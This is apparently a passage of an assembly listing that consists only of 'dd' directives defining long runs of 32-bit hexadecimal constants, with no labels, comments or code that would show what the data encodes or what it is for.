dd 0AC0136CEh, 0E971B239h, 4CD3732h, 5D61188Ah, 10983094h
dd 9CA8F903h, 6600C8A5h, 457B7CF3h, 742380B4h, 2163604Dh
dd 52667340h, 0C2CFD3Ah, 5837DB5Ch, 81C941D5h, 3478A899h
dd 7882CAC8h, 0E7F6645Ah, 0E1EC700Ch, 66040C0Ch, 4D5B7C1Fh
dd 0BBBFA837h, 2F0A0194h, 83183938h, 7F2BE1D6h, 15C4D0F0h
dd 0ECD6D8B7h, 64DD8E00h, 28A86F9h, 887A680Eh, 43465DB1h
dd 7D6E0180h, 0B2C05BEh, 473339Ah, 30590AB8h, 79B7A612h
dd 0B3448C23h, 0A6E507E1h, 0F089DE13h, 4C33479Fh, 0E8B39130h
dd 1A32A8CFh, 10BBDDD4h, 0D35C1281h, 4A05CC85h, 0BC75910Ch
dd 7338E57h, 0E61D09ECh, 6258C01Bh, 5C042489h, 0F91FD731h
dd 17ADA280h, 0A2B33D65h, 4726F21Ch, 0C0483464h, 6A8B4293h
dd 0F500B9E2h, 0B5396E10h, 0E6C5C8h, 0B2021843h, 0B1C2D4ECh
dd 0CD036400h, 0C6996D9Ch, 0DB140F8Bh, 0C37D67ABh, 3CF90E75h
dd 2E0280C5h, 257C1A83h, 72F7EA00h, 198EA5B2h, 137A1CAEh
dd 0BCE880DFh, 2217F887h, 50C5BF0Fh, 78AF208Fh, 2A5D9C2h
dd 0E5C43FF1h, 9AC031B9h, 50036EFh, 0BE2DF0D8h, 7ACFC83h
dd 2E5A4875h, 2399F363h, 0BF58A3E0h, 80C95338h, 71786234h
dd 3E26CFB6h, 961E2A0Fh, 0CA190782h, 0A03F80F9h, 6900035Dh
dd 0BC2D1ADBh, 0FB85843h, 91CF7C80h, 0C01DA387h, 2C012953h
dd 816550C6h, 0F71A0068h, 64EB153Ch, 0E5002DBCh, 0A539EE56h
dd 60957176h, 896A18E9h, 9F073E4Bh, 25CE721Ch, 0A29A5981h
dd 3C01ACE0h, 0BC001DADh, 80F85B13h, 7607CC71h, 5F3E4111h
dd 223386C1h, 42D7194h, 62A800D2h, 7EF8E5D3h, 41B68506h
dd 1D8F5F7h, 1B01EBCh, 0DC27D761h, 2907B134h, 0F35DF9E5h
dd 86717DD0h, 0E931CF2Fh, 4FA3BD80h, 530057A6h, 2630E4DDh
dd 0F0634BEh, 1CEDD6EBh, 0FC3B28D5h, 18D37F19h, 1FC0432Dh
dd 7D859906h, 0AA97C05h, 81E208FBh, 0B486060h, 0A8C8824Fh
dd 2391102h, 3E6C196Ah, 0CD90A0D5h, 1BED070h, 0F0C94AA0h
dd 82F1760Bh, 0A3B5EB91h, 0A67C917Bh, 0F1238458h, 683799Fh
dd 18269886h, 38E08480h, 0A162C08Ah, 0FB40DCE6h, 9ABBDCE1h
dd 0AF91912Dh, 79403FA2h, 7D06B5A3h, 4039A733h, 0AFD00339h
dd 3274AA6Dh, 0F38E4FE0h, 23D4DC18h, 281683A9h, 0E418712Fh
dd 61F01E66h, 0B75C430Bh, 0A114F43Ah, 1C84F3h, 7345FC6Ah
dd 678E0BFDh, 7BA69951h, 11656606h, 727BAE00h, 66123178h
dd 63A92A07h, 73903CBCh, 770AB401h, 0C8F7BC57h, 56601465h
dd 0D0B7F910h, 9CE94489h, 40DCD07h, 7BC0927Ah, 34733C2Fh
dd 0C695C89h, 34C19CDCh, 44A7C301h, 0B4E95A0Bh, 781960E7h
dd 89E77E7Dh, 17002949h, 740C0678h, 60109976h, 5E7DA165h
dd 56304BE1h, 613F10B7h, 843950ABh, 0BB2E3A73h, 5F7B1Dh
dd 3D4E3134h, 0DB7F9D9Ah, 9F76E719h, 405F3861h, 5321B420h
dd 540242B7h, 0B8D78081h, 0FE198149h, 0AB37E6F3h, 0D06A9AE0h
dd 0D422AC48h, 95543D55h
dd 22BCEE10h, 480EFE84h, 3418E414h, 5A834073h, 7D66AF01h
dd 6501AD47h, 8FE8024h, 0A2E8F589h, 18C9ECBDh, 9F842245h
dd 41109843h, 9B060063h, 0E0722757h, 8FEB035Bh, 0F55D0D8Ch
dd 3399F188h, 0C296BE00h, 47A6C184h, 0B36E3867h, 0B91CB23Ah
dd 0F152401Ah, 0C5EEB87Ch, 19B41004h, 64C2E191h, 9E1C41A6h
dd 0EDEA824h, 3BE088D8h, 71E87B87h, 512F4D5Dh, 9BCB08Ch
dd 7A85FAE8h, 8BCF0012h, 0D21B3910h, 0F1266137h, 1A02A896h
dd 4A761222h, 8687DDD4h, 13DCB7C8h, 180373C9h, 11CFA680h
dd 9E5909BAh, 7D8033D7h, 3D2E16DAh, 9108B266h, 0DFFB0421h
dd 82DDB833h, 47206A0Ch, 2489694Fh, 1F603815h, 65160683h
dd 4D002128h, 0FCB533F5h, 78F692FAh, 2708CC38h, 4D00F821h
dd 30157133h, 0CE7D78E7h, 22C03819h, 5631131Dh, 0F11CE22h
dd 1239582Dh, 80032724h, 8AE4CB90h, 0E2BE890Ah, 0F9813C62h
dd 0DAFCA133h, 74886018h, 483307D1h, 0F4A7235Fh, 0F3B8C295h
dd 0A87A0721h, 61533460h, 3722D83Dh, 5EA851DDh, 0BA298007h
dd 29320994h, 0F08E1D86h, 0FB144E40h, 803A9C5h, 0A5805B84h
dd 0F8971BDFh, 26CC75E4h, 41A4E021h, 323B8A80h, 62CE00E8h
dd 3C4649DFh, 34114CB5h, 0FBBCD080h, 3BE0529Dh, 701E91F4h
dd 0F8D58257h, 9A601C34h, 3FE87740h, 77A57C87h, 8E791214h
dd 33680065h, 4556C95Dh, 0CC66022Ch, 0F05E4B06h, 983A24D1h
dd 0F78500D3h, 769D7295h, 0B8F2D0E7h, 9EDF20C0h, 0A4C1F77h
dd 62D8E9B4h, 5A8840D8h, 960CCDD0h, 511C5D6Dh, 0B1FC0Fh
dd 4D21ABF4h, 6D7973D7h, 10C7658h, 0AE0582BEh, 0EC640D19h
dd 274607A3h, 2F7BE34Eh, 48F68486h, 0B0BDC8A0h, 39AC80h
dd 0BC5AAF44h, 0F6D723A0h, 1F01F318h, 0E8022D21h, 16D229CAh
dd 645C220h, 3FD30E30h, 2800EF8Ah, 0B4D56866h, 820013A4h
dd 0B31BA90h, 0FFBE8833h, 0F33D6C26h, 0EAFCB788h, 6A4095C4h
dd 0D60C334Bh, 9C064100h, 540DDC98h, 35F30246h, 2DCFDE9Eh
dd 6F0540C0h, 69000492h, 4A7CCC3Bh, 1604E235h, 837DF9h
dd 0CEBC5284h, 0A4181D14h, 43317306h, 73E27BA1h, 92550C25h
dd 9F08DA26h, 79B221C0h, 0C8CA7E3h, 0DB12235Ah, 1D292919h
dd 0AB01249Eh, 0B2FDD2E2h, 8AA418h, 2411E2CDh, 17B010Fh
dd 63888E1Eh, 0C48E250h, 0F9C06165h, 0F0B2AB0Bh, 1C32FA84h
dd 0C0E1A972h, 0E0571542h, 8505B0CEh, 0C4F26169h, 3D97C800h
dd 50FA3994h, 3C194816h, 8D8121F7h, 0A6DF0857h, 25436A0h
dd 0E59833E4h, 10B531E2h, 233ECF8h, 20B17E39h, 0A86095AEh
dd 0C116E741h, 28143A53h, 48237Ch, 85E477C9h, 4586729Fh
dd 771E400Eh, 3D017F21h, 0BF3104DAh, 7470763Fh, 0E486515Dh
dd 8CA3A820h, 0D733BB0Fh, 4C8831E5h, 33E3F787h, 0AA9661AFh
dd 59D15390h, 0E1C84C4Ah, 780284C1h, 3B4D9BFCh, 95808306h
dd 0C5483D8Bh, 6358BFDEh, 0A6D2109Ch, 380BDC01h, 4C51CBF9h
dd 3F5222C4h, 97D003C0h, 0AD16BBh, 194F2611h, 0BC2F9DA4h
dd 4055718h, 0AF6A1h, 1C73236h, 0C1985EA4h, 7426F301h
dd 7BE74F80h, 5074B429h, 0B8DD303Bh, 0C1E916A6h, 9DF040C6h
dd 0CE16BD25h, 7C91B97Ch, 14206296h, 8F73A8h, 87229008h
dd 476E5336h, 9CD22D28h, 9331FD00h, 66EDF805h, 0A1F467EFh
dd 0C200C9FCh, 6A673207h, 0FF843C93h, 0FCC14A78h, 0E511B80Fh
dd 5D0500Dh, 48C01DCAh, 40312B46h, 0E5350086h, 4328A430h
dd 18B1CB66h, 2075428h, 0FD3B793Dh, 82A05DA0h, 702A4CB8h
dd 7C219D25h, 3C2E71h, 38BAD935h, 0FA8BA7BBh, 0DC0347A1h
dd 5D98EC9Bh, 93FC48F1h, 96AF3B28h, 8640C53Ah, 127A196Ah
dd 0E9AC0D40h, 0D1589CD4h, 7905FC47h, 3FCEC309h, 11701D66h
dd 8BD83F2h, 0E8620136h, 0ADE23F32h, 6033D174h, 0D8044488h
dd 0DE47DD9Dh, 0BDFD0C0h, 3F5C0939h, 0ECBD70FFh, 0A2EE8504h
dd 84D6CD48h, 6BC2320h, 0E1AFE705h, 34657481h, 0A8DF2425h
dd 9AB9CCB1h, 8104205Ch, 4619D0FBh, 8AA6E500h, 873ABD13h
dd 51220021h, 98866152h, 2900C5FBh, 14477EC6h, 0EE03739h
dd 0FA8ED1C9h, 0BC736960h, 0BF607760h, 0FBB0F7EEh, 0BA4B00D5h
dd 0FF526199h, 58000EA4h, 480A7C5Bh, 2B7FE7h, 0D3D5BDC4h
dd 7A94CC14h, 8BF9E00h, 0AE77CB79h, 6CB70028h, 0F43B6DBh
dd 0AB7083F5h, 50EAE100h, 0E53D8411h, 6D101EA8h, 0B28DC038h
dd 554FA060h, 9B233Eh, 31794CB5h, 0A46821h, 0EDB3F242h
dd 0DB3E52B0h, 4EC55B00h, 185C212h, 7CB084h, 82588863h
dd 0F956114Dh, 89053D0Bh, 0C19B00C7h, 0A1B6E7h, 4DC47797h
dd 0F5D7EBB5h, 0AD023D00h, 30F2D3Eh, 0EE3A0091h, 0D5137633h
dd 0DE39F98Ch, 2E3BD1h, 0CA0C74C7h, 3A853679h, 64974157h
dd 0B41C0E24h, 74E50D20h, 6A00A17Fh, 3292BC70h, 2CB76E2Ch
dd 3D53B0CAh, 4D99000h, 0FF1F105Ch, 0D7EC9600h, 14D84B3Eh
dd 9C530323h, 4E019E06h, 36CAFF98h, 0D7E91918h, 0AF6278h
dd 0B2D886F0h, 60D5EAACh, 0C551E400h, 83CDEFA2h, 0ECAD2493h
dd 2619A48Ch, 498700BEh, 11849874h, 7FCE3914h, 108800E0h
dd 6B04DF83h, 0D253010Eh, 36EAD8Eh, 9AF8C46Ah, 9EC5CC3Ch
dd 0EAC05B16h, 24FC1517h, 2BB52437h, 12688748h, 4BB2B010h
dd 760E5DACh, 608AB34Eh, 0A7FD823Dh, 0CD72008Eh, 7B9394B0h
dd 1512851Ch, 2200C6CBh, 0A2F7687Eh, 0C2DE430h, 3B7893C5h
dd 0C000F4E8h, 0F595E784h, 0A3B6DDh, 0D3ECF2A4h, 9DD9D2DFh
dd 9B2D6D07h, 3C509959h, 0A10B53h, 0B7FA6A49h, 8BD94266h
dd 4B3ABF00h, 65162FF8h, 0E7E7F95h, 8FE1C0C2h, 5A783E00h
dd 0C5F847B2h, 1E6A1012h, 0E196CC00h, 38F659EBh, 2EBF4153h
dd 0CBF050h, 57228644h, 0C76B62F0h, 0EFE4BA00h, 2369C074h
dd 24B6730Fh, 8078A8BDh, 0AD89E31Dh, 600316Ah, 3C036CEBh
dd 0E00ADCD2h, 147F2Eh, 1A16A81Bh, 0C2743E4h, 0FF196700h
dd 0BC11C244h, 5660005Ch, 6D727D64h, 1E015271h, 0AEA5760Ah
dd 3CC4967Fh, 0D5A01524h, 0DD00C883h, 6FC23208h, 0E4A15E8Ah
dd 34AAF42Eh, 0F406AB00h, 535D5BC8h, 0D9590073h, 0BA0C6AE1h
dd 0D100E81Bh, 92FEE975h, 5451F8h, 126C86E3h, 2D10A703h
dd 80A0EF38h, 9B74FB8h, 0E65A1Eh, 0E0AD362h, 0FEF1CFA9h
dd 8DA59800h, 9B4319AFh, 6C4648E5h, 0C511E10Ah, 102AD0h
dd 0AB3B3FB4h, 67A6BE16h, 3A9E6B00h, 2E4DA007h, 986B044h
dd 99BBE032h, 821D468h, 4B6339h, 0DDD5F7FBh, 12CA3D5Bh
dd 716D3CEh, 142540BDh, 67778124h, 0F2EACCE3h, 0F0BD3603h
dd 0A8159523h, 0B7A45Bh, 1BE7CC52h, 9E1D6548h, 37F6441Ch
dd 0C03F1080h, 4A945Ah, 0DC6368A1h, 44A40CA9h, 0CCE31300h
dd 195FE03Ah, 0BCCD1E5Dh, 0B7F8C0EBh, 3FF57E5Eh, 65790700h
dd 0B082E4FAh, 9C290043h, 0EB3D36CDh, 5A797017h, 9EF14916h
dd 4500C113h, 0CEACEC78h, 796B03ABh, 8B7ED58Fh, 0BE8091DAh
dd 666A35A3h, 1DE4D059h, 3FC00F40h, 3BC65770h, 0F484025Fh
dd 10E03556h, 0B83A2440h, 0A64ACE00h, 0FBDF2128h, 0D4EE2E0Eh
dd 59190082h, 136A33EBh, 17F25500h, 511264AEh, 0AA4A1E9Eh
dd 92AF803Ah, 0B274158Fh, 90042F0h, 80570A73h, 0CA6D1Dh
dd 3F389DFDh, 194A0BD8h, 4300877Dh, 0E50531FBh, 0D9039Fh
dd 0A56E8308h, 0B27B761Ch, 70142F01h, 0B225652h, 1BE864h
dd 30E1C5Dh, 6A4F32C6h
dd 5619EA03h, 116E57Ah, 0EE4AFC11h, 508839h, 69211Ch, 0C2B9A02h
dd 6C53828Ah, 890030EAh, 8B274239h, 48AB7D33h, 7F027C58h
dd 2E72CD13h, 20001C50h, 6D8CA9A3h, 0A0936E2Bh, 0F80D7490h
dd 24D9003Ch, 54A9F673h, 0AB004EE0h, 0B022C1EAh, 72A888h
dd 0D2E83CB2h, 0E51D68E4h, 0E300F0ECh, 8199D68Ch, 3E938B9Eh
dd 700317Fh, 1AA2DA6Ah, 0E100C266h, 0E911F41Bh, 0FAACD8h
dd 843F1D10h, 7C2224BBh, 16289500h, 877F46E8h, 1E511E48h
dd 8CDAC0EDh, 14E36A9Ah, 3E6E731Fh, 8BCF9100h, 720FF13h
dd 2B1695B5h, 0C056849Bh, 1247B96Dh, 1FCA5505h, 1F87E7A6h
dd 9BE0206Fh, 98BF13DBh, 0AC8E0004h, 621082FBh, 503AE98Dh
dd 0E4708059h, 0E8BCF65Ah, 0B53B0245h, 0C94105ADh, 0F57500E0h
dd 8C009C78h, 0A42BDCE6h, 4CC2B4h, 4DF694ADh, 0FF51E86h
dd 0F7001CB8h, 6B81A0DCh, 0B0EBBABh, 5C08238Dh, 0DD191380h
dd 9900E8F6h, 0F2685BEBh, 25F0Ah, 0C5A2DE7Bh, 7882427Ah
dd 83E8D00h, 1A6E9E16h, 0E0C700CEh, 0CC5D66DDh, 69FCF0BCh
dd 8EE5FC00h, 0F3D7CBF1h, 152F127Eh, 9A1DE6h, 4408469Bh
dd 0B0091E89h, 4894AB4Bh, 6D13F8h, 8507E0AFh, 0FF70090Bh
dd 1D76E600h, 38ACDD25h, 97A500C5h, 0DE315A68h, 177761EAh
dd 0CB3F0B00h, 5305E039h, 4B56030Ch, 2DAC979Ah, 6085F4A9h
dd 0CCA8845Ch, 0A504A343h, 2E33254Fh, 5FAE60D0h, 5E9F3972h
dd 0FCCFBA83h, 48D52D5Bh, 0FE100310h, 0C027851Dh, 0E52F62F3h
dd 41F416EAh, 1400F85Eh, 52AF29CAh, 0DAA60272h, 0F69D929Ah
dd 4E182072h, 11F1E6CEh, 10B70003h, 79066A9Bh, 0E9F6317Ah
dd 0F65B8500h, 0F94F8677h, 445A502Dh, 92C20C72h, 6560A2B5h
dd 59A84000h, 504A1354h, 38BB1695h, 153BC68h, 412E1CD5h
dd 56D07A77h, 9DECACh, 0E4C70B47h, 7CB76F67h, 0E2B3107h
dd 4B5EEEB4h, 0A0046B10h, 14538B0Bh, 0B0FC86E7h, 26CA4C02h
dd 0E45A78E5h, 80007058h, 88D81498h, 26AB04D7h, 874FFA48h
dd 0DE5620ECh, 28C55AAAh, 44A4A107h, 7BD80087h, 0FF15F3F1h
dd 57F4F531h, 943ECD01h, 0A506D09Eh, 3FA069ACh, 0B1E07100h
dd 0FDA804F3h, 64CE3F00h, 333D9C7Fh, 0F0D050Eh, 0B2E507B5h
dd 995F0064h, 9DE1F50Ah, 0F4AE23Bh, 46687CB3h, 6220F300h
dd 0DE3C4078h, 4E801D8h, 0EB707DDh, 0B406418Ch, 0B3E4C581h
dd 6404E0B7h, 8AE700C2h, 7E3DDD0h, 6713787Ah, 0BB3508h
dd 303D276Eh, 71016812h, 513FE820h, 7FD04096h, 80B80141h
dd 0E297E774h, 7D89FDA0h, 3D0379B0h, 592CB64h, 5B7900ABh
dd 178A151Ch, 4D006F13h, 266B2C81h, 186D7BD5h, 41085063h
dd 2B3AE09Dh, 52800E4h, 53BC5215h, 49300068h, 1222AC5Bh
dd 1702E3D7h, 0A7393CFBh, 255BE1EBh, 45B49F5h, 0EAADC49Fh
dd 0FF76D64h, 3C1719D6h, 0E15AB087h, 9C5DC734h, 5472F08h
dd 14B879E1h, 3311C21h, 9AD99908h, 2718E038h, 28C74420h
dd 0B3A54DA0h, 0A72619DCh, 0B452991Bh, 18455009h, 4C0D3C33h
dd 79D1691Ch, 6A18A1B2h, 71F91CA6h, 618510C2h, 2850B278h
dd 0A1426010h, 4088822h, 481C3DC0h, 6661F82Ch, 0C9758120h
dd 72094E65h, 2D211C30h, 42B4A36Eh, 86280C08h, 689A5014h
dd 80A56464h, 508A77C9h, 0FA6158h, 0E44F2A3Bh, 959117E6h
dd 0ECB87529h, 8C726280h, 7C303BCAh, 316B3A7Ch, 2FE4FC52h
dd 3158AC04h, 1A10E86Eh, 53B448D2h, 8F7BA000h, 0AAEC81Fh
dd 43040431h, 20D7AC62h, 164F6AE3h, 1836CABAh, 833A19DDh
dd 0F039F866h, 4DD32469h, 4C38340h, 4816637Bh, 0AA006B1Dh
dd 75AAEE99h, 491C06F3h, 38F4885Dh, 12D9103Fh, 984054FBh
dd 72DE6286h, 67F10692h, 69FDFA26h, 1268B50Ch, 144489Bh
dd 0DC62CE4h, 0DCC96654h, 0EDF53D8Ch, 0C4F6D18Fh, 0CA00914Eh
dd 49310EA6h, 0C02699F2h, 96A8B0F9h, 61E8B1A5h, 5DB693Ch
dd 4598A46Ch, 8E488C59h, 3C6B519Dh, 0E9614480h, 0B1F0E781h
dd 28F1B007h, 0D34099BEh, 0E37123Dh, 789D193Ch, 2FF3807Ch
dd 0D4EC01A5h, 0ADD98567h, 2C5CE4A0h, 3E8CA0FCh, 0E99A6E96h
dd 212B0520h, 18184C49h, 12894666h, 8E2A3C60h, 0E427F204h
dd 0BD9C80CAh, 0C43AFECCh, 0F029E067h, 507718BAh, 0A0EC60A0h
dd 0F45B9D88h, 8338C086h, 4321123Ah, 20363703h, 6640BCC4h
dd 8EFE131h, 3C738E04h, 0D080686Fh, 0BEE3A1h, 0C0C31749h
dd 780C2CEDh, 10A0DFFCh, 0B0A083EBh, 50A18D2Ah, 47A4D198h
dd 12AC1AB0h, 0C6F8400Eh, 0DBB6494Ch, 0FEFC6302h, 41BC789Ah
dd 0F2128E2Ch, 0B000A8BAh, 9B527483h, 7762E905h, 0E45F6AEDh
dd 3840E852h, 0E660CA9Dh, 88B8A53Ah, 73646D54h, 263D5942h
dd 0E4453F01h, 0E0B3A4C0h, 8B4339A8h, 0F289F300h, 2625F931h
dd 9931EFF2h, 50B5592Dh, 46A484DAh, 0E5D0010Ch, 195FD39h
dd 7ED25E25h, 0F2E0B2D4h, 0C28F0A2Dh, 0CCD3F9h, 7D31AF5Fh
dd 0B6048C44h, 0CA24DB3Ch, 5095093h, 49A7361h, 0C62C90C0h
dd 98416833h, 54EBC420h, 0A860B88Fh, 3B06A84h, 6D31036Eh
dd 284018CDh, 433137D8h, 0ABED08A5h, 0C8108C4Ah, 7740049Bh
dd 470972FAh, 13580C90h, 2D09EC92h, 721353Ah, 38490918h
dd 0D17E0430h, 230A8859h, 904C0A66h, 5568155Fh, 0F18C3360h
dd 312900D6h, 0B730BC57h, 3F00F1B8h, 87A09EE1h, 0E1A8E4F4h
dd 264091h, 8F307E7Dh, 3398BC99h, 5F91206Fh, 18142911h
dd 3C14F63Ch, 8C033CFCh, 0AF5B9A1Bh, 265843C5h, 90A6BA6Bh
dd 7071C246h, 0F0F950F8h, 3CC90198h, 0F67E4576h, 30808D1Ah
dd 0B0832083h, 859178F7h, 8C90607Eh, 3E16620Eh, 0F378948h
dd 0E8368A50h, 4A881080h, 0C2CF2CF2h, 29314071h, 88ACB087h
dd 0BD447244h, 40881AEBh, 0A9E39C5Ch, 8DF11CE4h, 1CA2EF4h
dd 1B55F66Fh, 0E5B78F4Ch, 71F4F4A6h, 15385148h, 0F848C6Dh
dd 0A7C65BDh, 71448CFEh, 684CC4C0h, 0A893549Eh, 1C04981Eh
dd 2A50AAE9h, 2E3F0098h, 0EBD9B530h, 3D605FABh, 83D86378h
dd 0A5391F6Dh, 60C86467h, 7E248C51h, 10ED0E30h, 3E83B9E2h
dd 0C2853FB8h, 5F00178h, 87768Ch, 1B935298h, 3D5CD937h
dd 0E1861306h, 68B3FC40h, 15579120h, 88955DA7h, 0F1738900h
dd 45B5C89Ah, 8EFFBD07h, 0B260E40Ch, 18DCE55Bh, 0E9B1015Fh
dd 7400F058h, 0F1E1731Eh, 1DA8B963h, 40E3160Fh, 0FE797DACh
dd 4B07AFE9h, 0AB1A0D2Ah, 66C30670h, 0D45F50B7h, 4883002Eh
dd 0A2FDA20h, 4005EFBh, 0E585A5AEh, 2A7E578Bh, 80FE9Eh
dd 0EC965D2Ah, 1615BBFFh, 8E712B03h, 0B85065F9h, 0E20E46Bh
dd 77FEB726h, 433C48C0h, 130600Eh, 83DCB1DAh, 889D00D6h
dd 49CC04C5h, 0FDF47652h, 4B030890h, 6A47ABBAh, 0E54000A5h
dd 0A335AF5h, 0DD7A5466h, 10D7C500h, 1699B775h, 0E42658C9h
dd 4B5BE90Fh, 0B6A9E660h, 0A03AD4B3h, 717884D1h, 0A8C9A53Ah
dd 6383CD00h, 2CB2583Eh, 80E02226h, 2DFF7E47h, 0C628CEC0h
dd 0D450C826h, 10C00DF5h, 0D7BB6861h, 5F24004Dh, 7BE396DCh
dd 0FD13463Ah, 0A700E508h, 0A52714C6h, 0F1F41Fh, 4BDCF799h
dd 86BB4E46h, 0F2A62306h, 0D150CCFCh, 2FFC0458h, 623B2500h
dd 0D21F4427h, 0C414003Dh, 0DDD2603h, 0E8E9E2B7h, 0E57C2FD8h
dd 232E5103h, 11F2C88Fh, 11297728h, 3121D9E1h, 388ABD04h
dd 4427CB04h, 2D48D3B5h, 25701742h, 9A3C0FFFh, 79106528h
dd 298EC786h
dd 0A551D360h, 67E3BBh, 5C1032D0h, 9AB540E8h, 807C353Ah
dd 2EAA9E4Ch, 1865B6h, 8123AC14h, 69C963E2h, 0B0ED2900h
dd 0D8306C61h, 0A80400F0h, 3B5D6DE3h, 0A2EA4BCAh, 0F383C100h
dd 3E8FA973h, 61CE001Bh, 0C0A5D89Fh, 7F73FB6Fh, 0E634DD00h
dd 0E812BBDEh, 7DE70F9Dh, 0C7801AC1h, 0EC42AEA6h, 4691400h
dd 4784DB93h, 0AD6B1EB7h, 0C8C7402Eh, 910EEBF5h, 7F782762h
dd 9C37409Eh, 1CA1E08Ch, 0DA402Ch, 0E7C5D5C4h, 0E901E3BFh
dd 317ECEE4h, 9B207FADh, 768E0315h, 7CF3550Ah, 0C1339AE8h
dd 0C2ABA91Fh, 28505D00h, 0A3E39Bh, 0C7969E23h, 433BA7B9h
dd 0FC945F00h, 101F54B3h, 8C270152h, 0F658E9BCh, 1718D420h
dd 0CF4CAE00h, 0B444F494h, 9E1B0008h, 1A5A95B7h, 8600BFBEh
dd 0B59404E8h, 7B391035h, 67C700C5h, 438AA378h, 11002102h
dd 2C4F53ADh, 0E9BA7DCh, 376CE160h, 3161009Ch, 7487CC8Ah
dd 0CE936200h, 631D1F06h, 57880E37h, 60E3C825h, 8AF00440h
dd 81000E9Dh, 0A107B1B7h, 3E2FAC6h, 4F63AB20h, 0CEE8D4DDh
dd 900087E4h, 0BB5574D6h, 0C3CFC5A6h, 42A50516h, 0D5147998h
dd 58FED813h, 8825BA00h, 22CB23h, 0CD2BE996h, 0C0575609h
dd 923B15F2h, 0ECFB8035h, 0DD05EFB6h, 0DFAC006Fh, 0B4FA67F7h
dd 0B549216Ah, 519300FCh, 5BE65878h, 6F600034h, 96A55455h
dd 5F3CA728h, 8325078Ah, 5826B373h, 139F0010h, 853DC7EBh
dd 8000E1Ch, 0B9D02786h, 0F40C57F4h, 0D2CC007Eh, 8A99AB23h
dd 6ECBAA97h, 0A5280C0h, 480D5E47h, 8C38E491h, 14536C80h
dd 50B82CC1h, 0B7E97600h, 6E8DE21Ch, 847358h, 2C33870Ch
dd 0DDE550E3h, 0F4C8A700h, 80A3A083h, 0B81E000Fh, 4F90338Fh
dd 6D7FCA60h, 0A34401Ch, 0C5A5DDC0h, 0B270AFh, 64E872A7h
dd 0A0A6C204h, 790B3B7Eh, 89B71B5Ch, 0D2D78039h, 725EE811h
dd 81780032h, 0E23D80D0h, 8300C287h, 0A6EE8EE1h, 1E5CE7AAh
dd 757C92h, 0AB4307A4h, 0EAC02451h, 0C9285621h, 25130138h
dd 5304661Dh, 79A6E4BCh, 0BF72A838h, 8F76004Eh, 0CBD17A17h
dd 0B91004E3h, 80EA6AB3h, 92BD90D7h, 6C07047Dh, 98D8414h
dd 42CD9D70h, 0C4C00C5h, 0F834B916h, 7100D07Eh, 5EEBD7CBh
dd 0C292C3h, 0B2305421h, 5BDAAEB3h, 9DC6B100h, 470803A6h
dd 0FDAF0004h, 68EE7C7Eh, 0EF0391D0h, 6C5DC36h, 0C62FA0DAh
dd 0A30A098Eh, 2C987062h, 0B0A0F535h, 0AC1EA11Bh, 57011966h
dd 63DA68A3h, 8818CD00h, 84448200h, 48D2265Dh, 9E71C71h
dd 130EC4A6h, 800087D0h, 4012CEFh, 6888DC01h, 2E7628F5h
dd 0CBF430h, 0E5785CD5h, 170FF445h, 3400AB98h, 6EE1E62Ch
dd 0D8E748h, 0A7CB3972h, 5ABE287Dh, 3C403700h, 0C1605044h
dd 0D075FEh, 6814A5FBh, 0EAB88879h, 1A101560h, 0D820D36Fh
dd 599DF688h, 6A74C82Eh, 0B4705600h, 3A1F61h, 374DD1D8h
dd 0BF1B12CAh, 0B1ED0200h, 0F28CAF36h, 91CC022Bh, 94444830h
dd 537A2040h, 3405DA00h, 0DBC24087h, 7F4E0016h, 61DD4B3Bh
dd 7203E009h, 9DDA675Eh, 38FA60F1h, 2D6D7C8h, 8513BE00h
dd 91542DB6h, 2C1D0020h, 52D9AC8Ch, 83091125h, 801E47AEh
dd 137A9DCh, 0FFE672h, 74C5BD04h, 0F6121160h, 3C8850Fh
dd 1ADF40ADh, 0D50D75h, 0E7305F38h, 0A3B3F261h, 0ABFE7098h
dd 1852D100h, 6D98E964h, 0D4E800D8h, 45E30A1Ah, 1200B5D0h
dd 0C7BD1B6h, 0E655726h, 0E035664Eh, 1030F480h, 0FEA1088Fh
dd 0E7ACC874h, 4C6DC100h, 3CBA1597h, 14D500F8h, 8D38F93Ah
dd 657E13F1h, 0A4FC6000h, 5B91D1CAh, 1073CCh, 34CF53B4h
dd 0FA11AE4Eh, 65CEAC00h, 5AA7D071h, 46F005Eh, 731B346Eh
dd 740038FEh, 43DC467Fh, 0ECD310Ah, 0BFA9C760h, 753EDA80h
dd 65482C21h, 85410074h, 2ADE0D28h, 6266076Bh, 904B0BE4h
dd 5F7B659Ch, 8003D75h, 0A913C3B4h, 21815h, 0B7FA5538h
dd 6AA5CEC6h, 7896CC00h, 0A10B7A8Ah, 59BC0011h, 66C45352h
dd 2213D833h, 0CF135F60h, 5028C1Fh, 6852C65Ah, 133F6Ch
dd 0DC8D8824h, 0E8DE4B59h, 0B7294A2Ch, 995BB000h, 702C7Ch
dd 55BC0430h, 15C33864h, 0B6116618h, 0C96BD2h, 75E15C63h
dd 49C63151h, 5A770B00h, 0A28473D6h, 10B835CEh, 5BDE02D8h
dd 0B0607F6Fh, 654947E5h, 21E400A0h, 51B178EEh, 0F44006Bh
dd 0CCDACD7Eh, 0DCA04E7Fh, 0A903A583h, 2C3CCFE6h, 3465A8F8h
dd 1AF100B2h, 89B437F9h, 502C3983h, 2C0093BBh, 8E9B540Bh
dd 32B8000Eh, 73D9814Dh, 0C0A02B49h, 33004FFEh, 4BC83577h
dd 1EF7E9Eh, 0D111A5B6h, 804DE25Dh, 0B08359B0h, 0EA7155Eh
dd 5B218234h, 13E1C520h, 0B13E1C2Eh, 901880EAh, 0A9814208h
dd 0C8EB00F4h, 3BF09E14h, 5A132E31h, 651F9C0Eh, 3F1186C4h
dd 0C94598C0h, 540F49CFh, 30245E80h, 43039707h, 6F94E448h
dd 8B6000D0h, 355033D2h, 661436CBh, 4C9CA0FBh, 0EF890091h
dd 0ECBA259Dh, 2C6E842h, 8DCC04FCh, 0BCA1DC29h, 9335BA0h
dd 37009C22h, 0F4CC1D6Ah, 0D9759C2Fh, 5548F700h, 0A0288FB0h
dd 131700D1h, 3F0D2EB5h, 4A0261E9h, 0B0142127h, 6390406Eh
dd 0D0676042h, 0FC70AB16h, 0FD1A4100h, 3092B778h, 5C33982Eh
dd 7701F8CAh, 0AEAD8682h, 3FCC44Eh, 0F7077300h, 0D6DFD752h
dd 6FC8FFF6h, 0B3F01DCh, 9F17D49Ch, 97EFD078h, 68C0AF71h
dd 3DC9F1B9h, 0C55300A8h, 7F6D7BA0h, 0BE605A62h, 0B7C16320h
dd 663A001Eh, 0D231D47Dh, 0FAEE16F8h, 0F53ED602h, 0E095A61Fh
dd 400C7FF4h, 38006D41h, 0CFBEA89Dh, 0ABB289h, 0D09B591Fh
